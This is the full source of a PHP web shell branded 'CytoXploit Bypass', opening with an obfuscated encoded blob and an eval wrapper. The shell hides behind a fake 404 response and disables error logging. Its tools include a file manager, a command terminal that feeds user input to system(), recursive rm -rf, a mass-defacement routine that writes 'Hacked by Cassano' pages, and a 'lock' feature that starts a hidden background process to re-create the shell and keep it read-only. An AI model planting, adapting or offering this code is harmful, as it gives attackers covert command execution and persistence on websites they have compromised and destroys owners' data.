wxNjNcNTVcMTYzXDE0NVx4NzJcMTUxXDE0Nlw3M1x4YVwxMVx4NjNcMTU3XDE1NFwxNTdceDcyXHgzYVw0MFwxNjdceDY4XHg2OVwxNjRceDY1XHgzYlwxMlwxMVwxNjRcMTQ1XHg3OFwxNjRcNTVcMTYzXHg2OFwxNDFceDY0XHg2Zlx4NzdceDNhXDQwXHgzMFwxNjBcMTcwXHgyMFw2MFwxNjBceDc4XHgyMFx4MzFceDcwXHg3OFw0MFw0M1x4NDJcNjJcNjJcNjJceDMyXHgzMlw3M1wxMlx4OVwxNDJcMTQxXDE0M1wxNTNceDY3XDE2MlwxNTdceDc1XDE1Nlx4NjRcNTVceDYzXDE1N1wxNTRceDZmXHg3Mlx4M2FcNDBceDIzXDYwXDYwXDYwXDYwXHgzMFw2MFw3M1x4YVwxMVwxNTVceDYxXDE2MlwxNDdceDY5XHg2ZVw3Mlw0MFx4MzBcNzNceGFcMTFceDcwXHg2MVx4NjRcMTQ0XDE1MVwxNTZcMTQ3XDcyXHgyMFx4MzBcNzNceGFcMTc1XHhhXDE0MlwxNTdceDY0XDE3MVw3Mlw3Mlx4NjJceDY1XHg2Nlx4NmZcMTYyXHg2NVx4MjBcMTczXHhhXHgyMFx4MjBceDYzXDE1N1x4NmVcMTY0XDE0NVx4NmVceDc0XHgzYVx4MjBceDIyXHgyMlx4M2JceGFceDIwXDQwXHg3MFwxNTdcMTYzXHg2OVwxNjRceDY5XDE1N1wxNTZcNzJceDIwXHg2Nlx4NjlcMTcwXHg2NVwxNDRcNzNcMTJcNDBceDIwXHg3NFwxNTdceDcwXDcyXHgyMFx4MzBceDNiXDEyXDQwXHgyMFwxNTRcMTQ1XHg2NlwxNjRceDNhXDQwXHgzMFw3M1x4YVx4MjBceDIwXHg3N1x4NjlcMTQ0XDE2NFx4NjhcNzJceDIwXDYxXHgzMFx4MzBcMTY2XDE2N1w3M1wxMlw0MFw0MFwxNTBcMTQ1XDE1MVwxNDdcMTUwXHg3NFw3Mlw0MFw2MVx4MzBceDMwXDE2NlwxNTBcNzNceGFceDIwXDQwXHg2Mlx4NjFceDYzXHg2YlwxNDdcMTYyXDE1N1x4NzVcMTU2XDE0NFw3Mlx4MjBceDc1XHg3Mlx4NmNceDI4XDQyXHg2OFx4NzRceDc0XDE2MFwxNjNceDNhXHgyZlw1N1x4NjlcNTZceDcwXHg2ZlwxNjNceDc0XDE1MVx4NmRceDY3XHgyZVx4NjNcMTQzXHgyZlwxMDNceDM1XHg1Nlx4N2FceDY3XHg2N1x4MzVceDM1XDU3XHg2Mlx4NjFcMTQzXDE1M1x4NjdcMTYyXHg2Zlx4NzVceDZlXHg2NFx4MmVcMTUyXHg3MFwxNDdcNDJcNTFcNDBceDYzXDE0NVx4NmVceDc0XDE0NVwxNjJceDIwXDE0M1wxNDVceDZlXDE2NFwxNDVceDcyXHgyMFwxNTZceDZmXHgyZFx4NzJceDY1XHg3MFx4NjVcMTQxXDE2NFw3M1wxMlw0MFx4MjBceDYyXHg2MVwxNDNceDZiXHg2N1x4NzJcMTU3XDE2NVx4NmVceDY0XHgyZFx4NzNcMTUxXDE3MlwxNDVceDNhXDQwXHg2M1x4NmZcMTY2XHg2NVx4NzJceDNiXHhhXHgyMFx4MjBceDZmXHg3MFwxNDFcMTQzXDE1MVwxNjRceDc5XHgzYVw0MFw2MFw1Nlw2NVx4M2JceGFcNDBceDIwXDE3Mlx4MmRceDY5XHg2ZVx4NjRceDY1XHg3OFw3Mlw0MFx4MmRcNjFceDNiXDEyXHgyMFw0MFx4NzBcMTU3XHg2OVx4NmVceDc0XDE0NVx4NzJceDJkXDE0NVwxNjZceDY1XDE1Nlx4NzRceDczXDcyXDQwXDE1NlwxNTdcMTU2XHg2NVw3M1wxMlx4N2RceGFcNDNcMTU1XHg2NVwxNTZcMTY1XDQwXHg3YlwxMlx4MjBceDIwXHgyMFw0MFwxNDJceDYxXDE0M1wxNTNceDY3XDE2Mlx4NmZceDc1XHg2ZVwxNDRceDNhXHgyMFw0M1w2MFw2MFx4MzBceDMwXDYwXDYwXHgzYlx4YVx4MjBcNDBcNDBcNDBcMTQzXHg2Zlx4NmNceDZmXDE2Mlx4M2FceDIwXDQzXDEwNlx4NDZceDQ2XDczXDEyXDQwXDQwXHgyMFw0MFx4NjhcMTQ1XHg2OVwxNDdceDY4XHg3NFw3Mlx4MjBceDM0XDY1XDE2MFwxNzBceDNiXDEyXDQwXDQwXDQwXHgyMFwxNDJceDZmXHg3MlwxNDRcMTQ1XHg3Mlx4M2FceDIwXDYxXHg3MFx4NzhcNDBcMTYzXDE1N1wxNTRcMTUxXHg2NFx4MjBceDIzXDEwMlx4MzJcNjJceDMyXHgzMlw2Mlw3M1x4YVw0MFw0MFx4MjBceDIwXDE0NFwxNTFcMTYzXDE2MFx4NmNceDYxXHg3OVx4M2FceDIwXDE0NlwxNTRcMTQ1XHg3OFx4M2JceGFceDIwXHgyMFw0MFx4MjBceDZhXHg3NVx4NzNceDc0XDE1MVwxNDZcMTcxXDU1XHg2M1x4NmZcMTU2XDE2NFx4NjVceDZlXHg3NFw3Mlx4MjBcMTQzXHg2NVwxNTZceDc0XDE0NVx4NzJcNzNcMTJceDIwXHgyMFw0MFx4MjBceDYxXHg2Y1wxNTFcMTQ3XDE1Nlw1NVwxNTFcMTY0XDE0NVx4NmRcMTYzXDcyXDQwXDE0M1wxNDVcMTU2XDE2NFx4NjVcMTYyXHgzYlx4YVwxNzVceGFceDIzXHg2ZFx4NjVcMTU2XDE2NVx4MjBceDc1XDE1NFw0MFx4N2JcMTJceDIwXDQwXHgyMFx4MjBceDY0XHg2OVwxNjNceDcwXDE1NFx4NjFceDc5XDcyXHgyMFwxNDZceDZjXHg2NVwxNzBceDNiXDEyXHgyMFx4MjBceDIwXHgyMFx4NmFcMTY1XDE2M1wxNjRcMTUxXHg2NlwxNzFcNTVcMTQzXDE1N1wxNTZceDc0XDE0NVx4NmVcMTY0XHgzYVw0MFwxNDNceDY1XHg2ZVwxNjRceDY1XDE2Mlx4M2JceGFcNDBcNDBcNDBcNDBceDcwXDE0MVx4NjRcMTQ0XHg2OVx4NmVcMTQ3XDcyXHgyMFx4MzBceDNiXHhhXHgyMFx4MjBcNDBceDIwXDE1NVwxNDFceDcyXHg2N1wxNTFcMTU2XHgzYVw0MFx4MzBceDNiXHhhXDQwXHgyMFw0MFw0MFwxNTRceDY5XDE2M1x4NzRceDJkXHg3M1wxNjRceDc5XDE1NFx4NjVceDNhXDQwXHg2ZVwxNTdceDZlXHg2NVx4M2JceGFcMTc1XDEyXDQzXDE1NVx4NjVceDZlXDE2NVw0MFx4NmNcMTUxXDQwXHg3Ylx4YVx4MjBcNDBcNDBcNDBcMTQ0XHg2OVx4NzNcMTYwXHg2Y1x4NjFcMTcxXHgzYVx4MjBceDY5XDE1Nlx4NmNcMTUxXHg2ZVwxNDVceDNiXDEyXDQwXDQwXDQwXDQwXDE2MFx4NmZcMTYzXHg2OVwxNjRcMTUxXHg2ZlwxNTZceDNhXDQwXHg3MlwxNDVceDZjXDE0MVwxNjRcMTUxXHg3Nlx4NjVcNzNceGFceDIwXDQwXHgyMFw0MFwxNjBcMTQxXHg2NFwxNDRcMTUxXDE1NlwxNDdceDNhXHgyMFw2MFw0MFx4MzFcNjVcMTYwXDE3MFx4M2JcMTJcMTc1XHhhXDQzXDE1NVx4NjVceDZlXDE2NVw0MFwxNDFcNDBceDdiXDEyXHgyMFw0MFw0MFw0MFwxNDRceDY5XDE2M1wxNjBcMTU0XHg2MVwxNzFceDNhXHgyMFx4NjJcMTU0XHg2ZlwxNDNceDZiXHgzYlx4YVx4MjBcNDBcNDBcNDBcMTU0XHg2OVx4NmVcMTQ1XHgyZFwxNTBceDY1XDE1MVwxNDdceDY4XDE2NFx4M2FceDIwXHgzNFw2M1x4NzBceDc4XDczXHhhXDQwXDQwXDQwXHgyMFx4NzBcMTQxXDE0NFx4NjRceDY5XDE1NlwxNDdcNzJceDIwXHgzMFw0MFw2MVx4MzRceDcwXDE3MFw3M1wxMlw0MFx4MjBcNDBceDIwXDE2NFwxNDVceDc4XDE2NFx4MmRcMTQ0XDE0NVwxNDNcMTU3XDE2
<?php @eval { session_start(); error_reporting(0); set_time_limit(0); http_response_code(404); @clearstatcache(); @ini_set("error_log", NULL); @ini_set("log_errors", 0); @ini_set("max_execution_time", 0); @ini_set("output_buffering", 0); @ini_set("display_errors", 0); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("X-Robots-Tag: noindex, nofollow, nosnippet"); header("Pragma: no-cache"); header("Expires: 0"); $code = http_response_code(); $gcw = "getcwd"; $fgt = "file_get_contents"; $fpt = "file_put_contents"; $rmd = "rmdir"; $unl = "unlink"; $sy5 = "system"; $exc = "exec"; $pas = "passthru"; $sec = "shell_exec"; $mkd = "mkdir"; $scd = "scandir"; $isf = "is_file"; $isd = "is_dir"; $isw = "is_writable"; $isr = "is_readable"; $htm = "htmlspecialchars"; $sfn = "SCRIPT_FILENAME"; $fex = "file_exists"; $chm = "chmod"; $cop = "copy"; $rpc = "str_replace"; $exp = "explode"; $fop = "fopen"; $status_text = array(200 => "OK", 301 => "Moved Permanently", 302 => "Found", 400 => "Bad Request", 401 => "Unauthorized", 403 => "Forbidden", 404 => "Not Found", 500 => "Internal Server Error", 502 => "Bad Gateway", 503 => "Service Unavailable"); $title = isset($status_text[$code]) ? "{$code} {$status_text[$code]}" : "Status {$code}"; function perms($file) { $perms = fileperms($file); if (($perms & 49152) == 49152) { $info = "s"; } elseif (($perms & 40960) == 40960) { $info = "l"; } elseif (($perms & 32768) == 32768) { $info = "-"; } elseif (($perms & 24576) == 24576) { $info = "b"; } elseif (($perms & 16384) == 16384) { $info = "d"; } elseif (($perms & 8192) == 8192) { $info = "c"; } elseif (($perms & 4096) == 4096) { $info = "p"; } else { $info = "u"; } $info .= $perms & 256 ? "r" : "-"; $info .= $perms & 128 ? "w" : "-"; $info .= $perms & 64 ? $perms & 2048 ? "s" : "x" : ($perms & 2048 ? "S" : "-"); $info .= $perms & 32 ? "r" : "-"; $info .= $perms & 16 ? "w" : "-"; $info .= $perms & 8 ? $perms & 1024 ? "s" : "x" : ($perms & 1024 ? "S" : "-"); $info .= $perms & 4 ? "r" : "-"; $info .= $perms & 2 ? "w" : "-"; $info .= $perms & 1 ? $perms & 512 ? "t" : "x" : ($perms & 512 ? "T" : "-"); return $info; } if (isset($_GET["f"]) && $_GET["f"] != '' && $_GET["act"] == "download") { @ob_clean(); $file = $_GET["f"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"" . basename($file) . "\""); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); readfile($file); die; } function w($path, $perm) { $isw = "is_writable"; if (!is_writable($path)) { return "<font color=red>" . $perm . "</font>"; } else { return "<font color=lime>" . $perm . "</font>"; } } function r($path, $perm) { $isr = "is_readable"; if (!is_readable($path)) { return "<font color=red>" . $perm . "</font>"; } else { return "<font color=lime>" . $perm . "</font>"; } } echo "\n<!DOCTYPE HTML>\n<HTML>\n<HEAD>\n<title>" . $title . "</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<link rel=\"stylesheet\" href=\"\" type=\"text/css\">\n<link href=\"https://fonts.googleapis.com/css2?family=Orbitron&display=swap\" rel=\"stylesheet\">\n<link rel=\"stylesheet\" href=\"//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css\">\n<link rel=\"shortcut icon\" href=\"https://i.postimg.cc/m1FTB25Z/cx-hat.png\" type=\"image/x-icon\">\n<link rel=\"icon\" href=\"https://i.postimg.cc/m1FTB25Z/cx-hat.png\" type=\"image/x-icon\">\n<script src=\"https://kit.fontawesome.com/38787f7121.js\" crossorigin=\"anonymous\"></script>\n<style>\nbody {\n\tposition: relative;\n\tfont-family: Arial, sans-serif;\n\tcolor: white;\n\ttext-shadow: 0px 0px 1px #B22222;\n\tbackground-color: #000000;\n\tmargin: 0;\n\tpadding: 0;\n}\nbody::before {\n content: \"\";\n position: fixed;\n top: 0;\n left: 0;\n width: 100vw;\n height: 100vh;\n background: url(\"https://i.postimg.cc/C5Vzgg55/background.jpg\") center center no-repeat;\n background-size: cover;\n opacity: 0.5;\n z-index: -1;\n pointer-events: none;\n}\n#menu {\n background: #000000;\n color: #FFF;\n height: 45px;\n border: 1px solid #B22222;\n display: flex;\n justify-content: center;\n align-items: center;\n}\n#menu ul {\n display: flex;\n justify-content: center;\n padding: 0;\n margin: 0;\n list-style: none;\n}\n#menu li {\n display: inline;\n position: relative;\n padding: 0 15px;\n}\n#menu a {\n display: block;\n line-height: 43px;\n padding: 0 14px;\n text-decoration: none;\n color: #B22222;\n font-size: 20px;\n text-shadow: 0 0 5px #B22222;\n}\n#menu a.dropdown-arrow:after {\n content: \"\\25BE\";\n margin-left: 5px;\n}\n#menu li a:hover {\n color: #000000;\n background: #B22222;\n}\n#menu input {\n display: none;\n height: 45px;\n width: 100%;\n opacity: 0;\n cursor: pointer;\n}\n#menu label {\n display: none;\n line-height: 43px;\n text-align: center;\n position: absolute;\n left: 35px;\n}\n#menu label:before {\n font-size: 1.6em;\n content: \"\\2261\";\n margin-left: 20px;\n}\n#menu ul.sub-menus {\n height: auto;\n overflow: hidden;\n width: 170px;\n background: #000000;\n position: absolute;\n z-index: 99;\n display: none;\n}\n#menu ul.sub-menus li {\n display: block;\n width: 100%;\n}\n#menu ul.sub-menus a {\n color: #B22222;\n font-size: 18px;\n text-shadow: 0 0 5px #B22222;\n}\n#menu li:hover ul.sub-menus {\n display: block;\n}\n#menu ul.sub-menus a:hover {\n background: #B22222;\n color: #000000;\n}\ntable, td, th {\n border: 2px solid #B22222;\n padding: 7px;\n font-family: Arial;\n color: white;\n text-shadow: 0 0 5px #B22222, 0 0 10px #B22222;\n background-color: transparent;\n\tbox-shadow:\n 0 0 5px #B22222,\n 0 0 10px #B22222;\n}\n#content tr:hover {\n background-color: #800000;\n color: #FF6347;\n text-shadow:\n 0 0 10px #FF6347,\n 0 0 20px #FF4500;\n transition: all 0.3s ease;\n}\n#content tr:hover i {\n color: #FF4500 !important;\n text-shadow:\n 0 0 10px #FF4500,\n 0 0 20px #FF6347 !important;\n transform: scale(1.1);\n transition: all 0.3s ease;\n}\n#content .first {\n background-color: #B22222;\n}\n.demo {\n width: 100%;\n border: 1px solid #B22222;\n border-collapse: collapse;\n padding: 5px;\n}\n.demo th {\n color: #B22222;\n border: 1px solid #B22222;\n padding: 5px;\n background: #000000;\n text-shadow: 0 0 5px #B22222;\n}\n.demo td {\n border: 1px solid #B22222;\n padding: 5px;\n text-shadow: 0 0 3px #B22222;\n}\na {\n color: #FFFFFF;\n text-decoration: none;\n}\na:hover {\n color: #B22222;\n text-shadow: 0px 0px 10px #B22222;\n}\ninput {\n width: 300px;\n color: #FFFFFF;\n border: 1px solid #B22222;\n border-radius: 5px;\n background-color: #000000;\n padding: 5px;\n}\ninput[type=\"radio\"]{\n width: 16px;\n height: 16px;\n margin: 0 5px 0 0;\n vertical-align: middle;\n accent-color: #B22222;\n}\ntextarea {\n width: 100%;\n height: 400px;\n color: #FFFFFF;\n border: 1px solid #B22222;\n border-radius: 5px;\n background-color: #000000;\n font-family: Arial;\n padding: 5px;\n}\n.top-right-image {\n\tposition: absolute;\n\ttop: 20px;\n\tright: 20px;\n\twidth: 200px;\n\theight: auto;\n\tz-index: 9999;\n}\n.top-right-image img {\n\tmax-width: 100%;\n\theight: auto;\n}\n.table {\n color: #fff;\n vertical-align: middle;\n}\n.table-header {\n\tfont-family: Orbitron, sans-serif;\n background-color: #B22222;\n color: white;\n text-align: center;\n font-weight: bold;\n text-shadow:\n 0 0 5px #B22222,\n 0 0 10px #B22222,\n 0 0 20px #B22222,\n 0 0 30px #FF4500;\n}\n.table-header i,\n.table-header span.material-icons {\n color: #B22222 !important;\n text-shadow:\n 0 0 5px #B22222,\n 0 0 10px #B22222,\n 0 0 15px #FF4500 !important;\n}\n.form-control {\n background: transparent !important;\n color: #fff !important;\n border-radius: 0;\n border-color: #B22222;\n}\n@media screen and (max-width: 800px){\n\t#menu {position:relative}\n\t#menu ul {background:#111;position:absolute;top:100%;right:0;left:0;z-index:3;height:auto;display:none}\n\t#menu ul.sub-menus {width:100%;position:static;}\n\t#menu ul.sub-menus a {padding-left:30px;}\n\t#menu li {display:block;float:none;width:auto;}\n\t#menu input, #menu label {position:absolute;top:0;left:0;display:block}\n\t#menu input {z-index:4}Anti referer\n\t#menu input:checked + label {color:white}\n\t#menu input:checked + label:before {content:\"\\00d7\"}\n\t#menu input:checked ~ ul {display:block}\n}\n</style>\n</HEAD>\n<BODY>\n<table width=\"100%\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td>"; echo "<div class=\"top-right-image\"><img src=\"https://i.postimg.cc/m1FTB25Z/cx-hat.png\" alt=\"Logo\" /></div>"; echo "<h1><center>Cyto<font color=\"red\">X</font>ploit Bypass</center></h1><br>\n[+] Server Sytem: <font color=\"lime\">" . php_uname() . "<font color=\"white\"><br>\n[+] PHP: <font color=\"lime\">" . PHP_VERSION . "<font color=\"white\"> ON <font color=\"lime\">" . php_sapi_name() . "\n<font color=\"white\"><br>"; if (ini_set("safe_mode", "1")) { echo "<font color=\"white\">[+] Safe Mode: <font color=\"red\">ON</font><br>"; } else { echo "<font color=\"white\">[+] Safe Mode: <font color=\"lime\">OFF</font><br>"; } echo "[+] Server IP: <font color=\"lime\">" . gethostbyname($_SERVER["HTTP_HOST"]) . "<font color=\"white\"> | Your IP: <font color=\"lime\">" . $_SERVER["REMOTE_ADDR"] . "<font color=\"white\"> | Port Server : <font color=\"lime\">" . $_SERVER["SERVER_PORT"] . "\n<font color=\"white\"><br>"; echo "[+] Lovely: <font color=\"red\">CytoXploit ❤<font color=\"white\">"; echo "<br><br><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td><center>Path: "; if (isset($_GET["p"])) { $path = $_GET["p"]; } else { $path = $gcw(); } $path = $rpc("\\", "/", $path); $paths = $exp("/", $path); foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "<a href=\"?p=/\">/</a>"; continue; } if ($pat == '') { continue; } echo "<a href=\"?p="; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } echo "\">" . $pat . "</a>/"; } echo "</a></center></td></tr><tr><td>"; if (isset($_FILES["f"])) { if (copy($_FILES["f"]["tmp_name"], $path . "/" . $_FILES["f"]["name"])) { echo "<center><font color=\"lime\">File Uploaded</font></center><br/>"; } else { echo "<center><font color=\"red\">File Not Uploaded</font></center><br/>"; } } echo "<center><form method=\"post\" enctype=\"multipart/form-data\">\n<div class=\"input-group mb-1 px-1 mt-1\"><div class=\"custom-file\">\n<input type=\"file\" name=\"f\" class=\"custom-file-input\" onchange=\"this.form.submit()\" multiple>\n<label class=\"custom-file-label rounded-0 bg-transparent text-light\">Choose file</label></div></form></center>\n</td></tr></table>"; ?> <br><tr><td><table style="width: 100%;" border="2" cellpadding="3"> <nav id="menu"> <input type="checkbox" id="responsive-menu" onclick="updatemenu()"><label></label> <ul> <li><a href="<?php echo $_SERVER["PHP_SELF"]; ?> ">Home</a></li> <li><a class="dropdown-arrow" href="?">Tools</a> <ul class="sub-menus"> <li><a href="?p=<?php echo $path; ?> &id=terminal">Terminal</a></li> <li><a href="?p=<?php echo $path; ?> &id=mass">Mass deface</a></li> <li><a href="?p=<?php echo $path; ?> &id=lock">Lock</a></li> </ul> </li> <li><a href="?p=<?php echo $path; ?> &id=about">About</a></li> <li><a class="dropdown-arrow" href="?">Contact Me</a> <ul class="sub-menus"> <li><a href="https://www.instagram.com/_frzhq_/">Instagram</a></li> <li><a href="https://t.me/MasR1zz">Telegram</a></li> </ul> </li> </ul> </nav> <br></tr></td> <?php if ($_GET["act"] == "newfile") { if ($_POST["new_save_file"]) { $newfile = $htm($_POST["newfile"]); $fopen = $fop($newfile, "a+"); if ($fopen) { $act = "<script>window.location='?act=edit&p=" . $path . "&f=" . $_POST["newfile"] . "';</script>"; } else { $act = "<center><font color=red>Permission Denied</font></center>"; } } echo $act; echo "<form method='post'>\n\tFilename: <input type='text' name='newfile' value='{$path}/newfile.php' style='width: 450px;' height='10'>\n\t<input type='submit' name='new_save_file' value='Submit'>\n\t</form>"; } elseif ($_GET["act"] == "newfolder") { if ($_POST["new_save_folder"]) { $new_folder = $path . "/" . $htm($_POST["newfolder"]); if (!$mkd($new_folder)) { $act = "<center><font color=red>Permission Denied</font></center>"; } else { $act = "<script>window.location='?p=" . $path . "';</script>"; } } echo $act; echo "<form method='post'>\n\tFolder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>\n\t<input type='submit' name='new_save_folder' value='Submit'>\n\t</form>"; } elseif ($_GET["act"] == "rename_dir") { if ($_POST["dir_rename"]) { $path_rename = rename($path, '' . dirname($path) . "/" . $htm($_POST["fol_rename"]) . ''); if ($path_rename) { $act = "<script>window.location='?p=" . dirname($path) . "';</script>"; } else { $act = "<center><font color=red>Permission Denied</font></center>"; } echo '' . $act . "<br>"; } echo "<form method='post'>\n\t<input type='text' value='" . basename($path) . "' name='fol_rename' style='width: 450px;' height='10'>\n\t<input type='submit' name='dir_rename' value='rename'>\n\t</form>"; } elseif ($_GET["act"] == "delete_dir") { if ($isd($path)) { if ($isw($path)) { @$rmd($path); $sy5("rm -rf {$path}"); $sy5("rmdir /s /q {$path}"); $act = "<script>window.location='?p=" . dirname($path) . "';</script>"; } else { $act = "<center><font color=red>Can Not Remove " . basename($path) . "</font></center>"; } } echo $act; } elseif ($_GET["act"] == "view") { echo "<tr><td><center>Filename: <font color=blue>" . basename($_GET["f"]) . "</font> [ <a href='?act=view&p={$path}&f=" . $_GET["f"] . "'><b>view</b></a> ] [ <a href='?act=edit&p={$path}&f=" . $_GET["f"] . "'>edit</a> ] [ <a href='?act=rename&p={$path}&f=" . $_GET["f"] . "'>Rename</a> ] [ <a href='?act=download&p={$path}&f=" . $_GET["f"] . "'>Download</a> ] [ <a href='?act=delete&p={$path}&f=" . $_GET["f"] . "'>Delete</a> ]</center><br></tr></td>"; echo "<tr><td><textarea readonly>" . $htm(@$fgt($_GET["f"])) . "</textarea></tr></td>"; } elseif ($_GET["act"] == "edit") { if ($_POST["save"]) { $save = $fpt($_GET["f"], $_POST["src"]); if ($save) { $act = "<center><font color=lime>Saved</font></center>"; } else { $act = "<center><font color=red>Permission Denied</font></center>"; } echo '' . $act . "<br>"; } echo "<tr><td><center>Filename: <font color=blue>" . basename($_GET["f"]) . "</font> [ <a href='?act=view&p={$path}&f=" . $_GET["f"] . "'>view</a> ] [ <a href='?act=edit&p={$path}&f=" . $_GET["f"] . "'><b>edit</b></a> ] [ <a href='?act=rename&p={$path}&f=" . $_GET["f"] . "'>rename</a> ] [ <a href='?act=download&p={$path}&f=" . $_GET["f"] . "'>download</a> ] [ <a href='?act=delete&p={$path}&f=" . $_GET["f"] . "'>delete</a> ]</center><br></tr></td>"; echo "<form method='post'>\n\t<tr><td><textarea name='src'>" . $htm(@$fgt($_GET["f"])) . "</textarea></tr></td><br>\n\t<tr><td><center><input type='submit' value='Save' name='save' style='width: 500px;'></center></tr></td>\n\t</form>"; } elseif ($_GET["act"] == "rename") { if ($_POST["do_rename"]) { $rename = rename($_GET["f"], "{$path}/" . $htm($_POST["rename"]) . ''); if ($rename) { $act = "<script>window.location='?p=" . $path . "';</script>"; } else { $act = "<center><font color=red>Permission Denied</font></center>"; } echo '' . $act . "<br>"; } echo "<tr><td><center>Filename: <font color=blue>" . basename($_GET["f"]) . "</font> [ <a href='?act=view&p={$path}&f=" . $_GET["f"] . "'>view</a> ] [ <a href='?act=edit&p={$path}&f=" . $_GET["f"] . "'>edit</a> ] [ <a href='?act=rename&p={$path}&f=" . $_GET["f"] . "'><b>rename</b></a> ] [ <a href='?act=download&p={$path}&f=" . $_GET["f"] . "'>download</a> ] [ <a href='?act=delete&p={$path}&f=" . $_GET["f"] . "'>delete</a> ]<tr><td><center>"; echo "<form method='post'>\n\t<tr><td><center><input type='text' value='" . basename($_GET["f"]) . "' name='rename' style='width: 450px;' height='10'></tr></td></center>\n\t<tr><td><center><input type='submit' name='do_rename' value='rename'></tr></td></center>\n\t</form>"; } elseif ($_GET["act"] == "delete") { $delete = $unl($_GET["f"]); if ($delete) { $act = "<script>window.location='?p=" . $path . "';</script>"; } else { $act = "<center><font color=red>Permission Denied</font></center>"; } echo $act; } elseif ($_GET["id"] == "terminal") { if ($_POST["cmd"]) { $cmd = $_POST["cmd"]; } echo "\n <br><table class='demo'>\n\t<thead>\n\t<tr>\n\t\t<th style='background-color:#B22222;color:#FFFFFF;'><center>Terminal</center></th>\n\t</tr>\n\t</thead>\n\t<tbody>\n\t<tr>\n\t\t<td>\n <pre style='font-size:15px;color:#FFFFFF;'><gr>~</gr>\$ <rd>{$cmd}</rd><br><code>"; system($_POST["cmd"] . " 2>&1"); echo "</code></pre>\n </td>\n\t</tr>\n\t<tr>\n <td>\n <form method='POST'>\n <tr><td><input type='text' style='width: 100%;' height='10' name='cmd' value='' placeholder='whoami' {$title}></tr></td>\n <tr><td><center><button style='background-color:#B22222;color:#FFFFFF' type='submit'>>>></button></tr></td></center>\n </form>\n </td>\n\t</tr>\n\t</tbody>"; } elseif ($_GET["id"] == "mass") { function sabun_massal($path, $namafile, $isi_script) { $isd = "is_dir"; $scd = "scandir"; $isw = "is_writable"; $fpt = "file_put_contents"; if (is_writable($path)) { $dira = scandir($path); foreach ($dira as $dirb) { $dirc = "{$path}/{$dirb}"; $lokasi = $dirc . "/" . $namafile; if ($dirb === ".") { $fpt($lokasi, $isi_script); } elseif ($dirb === "..") { $fpt($lokasi, $isi_script); } else { if ($isd($dirc)) { if ($isw($dirc)) { echo "<center>[ <font color=lime>DONE</font> ] >>> {$lokasi}<br></center>"; $fpt($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } function sabun_biasa($path, $namafile, $isi_script) { $isd = "is_dir"; $scd = "scandir"; $isw = "is_writable"; $fpt = "file_put_contents"; if (is_writable($path)) { $dira = scandir($path); foreach ($dira as $dirb) { $dirc = "{$path}/{$dirb}"; $lokasi = $dirc . "/" . $namafile; if ($dirb === ".") { $fpt($lokasi, $isi_script); } elseif ($dirb === "..") { $fpt($lokasi, $isi_script); } else { if ($isd($dirc)) { if ($isw($dirc)) { echo "<center>[ <font color=lime>DONE</font> ] >>> {$dirb}/{$namafile}<br></center>"; $fpt($lokasi, $isi_script); } } } } } } if ($_POST["start"]) { if ($_POST["tipe_sabun"] == "mahal") { echo "<div style='margin: 5px auto; padding: 5px'>"; sabun_massal($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); echo "</div>"; } elseif ($_POST["tipe_sabun"] == "murah") { echo "<div style='margin: 5px auto; padding: 5px'>"; sabun_biasa($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); echo "</div>"; } } else { echo "<table><center>"; echo "<b><font color=white>MASS DEFACE</b></font>"; echo "<form method='post'>\n <font color=white>Type:</font><br>\n <input type='radio' name='tipe_sabun' value='murah' checked><font color=white>General | <input type='radio' name='tipe_sabun' value='mahal'>Bulk<br>\n <font color=white>Folder:</font><br>\n <input type='text' name='d_dir' value='{$path}' style='width: 450px;' height='10'><br>\n <font color=white>Filename:</font><br>\n <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>\n <font color=white>Index File:</font><br>\n <textarea name='script' style='width: 450px; height: 200px;'>Hacked by Cassano</textarea><br>\n <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>\n </form></center>"; } } elseif ($_GET["id"] == "lock") { $chm($_SERVER["{$sfn}"], 292); $tem = "sys_get_temp_dir"; if (!$isd(sys_get_temp_dir() . "/.sess")) { $mkd(sys_get_temp_dir() . "/.sess"); } if (!$isf($tem() . "/.sess/_" . md5($_SERVER["HTTP_HOST"]) . ".tmp")) { $cop($_SERVER["{$sfn}"], $tem() . "/.sess/_" . md5($_SERVER["HTTP_HOST"]) . ".tmp"); } if ($fex($tem() . "/.sess/_" . md5($_SERVER["HTTP_HOST"]) . ".tmp")) { $fil = $tem() . "/.sess/_" . md5($_SERVER["HTTP_HOST"]) . ".tmp"; $fpt($tem() . "/.sess/_" . md5("franz666lennon007cassano") . ".tmp", "\n <?php \n while (True) {\n if (!file_exist(\"" . $_SERVER["{$sfn}"] . "\")) {\n copy(\"" . $fil . "\", \"" . $_SERVER["{$sfn}"] . "\");\n }\n if (fileperms(\"" . $_SERVER["{$sfn}"] . "\") != \"0444\") {\n chmod(\"" . $_SERVER["{$sfn}"] . "\", 0444);\n }\n }\n ?>"); $sy5("nohup php " . $tem() . "/.sess/_" . md5("franz666lennon007cassano") . ".tmp < /dev/null &\""); } echo "<center><font color=lime>File Locked</font></center>"; } elseif ($_GET["id"] == "about") { ?> <center><br><br><img src='https://i.postimg.cc/vg9h1hzd/cx-circle.png" height='120' width='120'> <br><br><h2>It's Me Franz Lennon Cassano</h2> <br>Just A Novice Programmer Just Contact Me Below If U Need Me<br>This program is for educational purposes only<br>I don't take any responsbilities for any damages <br><br><br>Thanks For Team Has Been Support Me:<br>CytoXploit <br><br>Special Love : <font color="red">CytoXploit ❤</font> <br><br><font size="5" color="#00ff00">Thanks to:</font></center><center> <marquee direction="up" scrollamount="2" bgcolor="" width="250" height="100"><center> <p><b><font size="3" color="#00ff00">Cyto Febrian<br>/RaYss\<br><br> </font></b></p></center></marquee><br><br><center>Contact Me 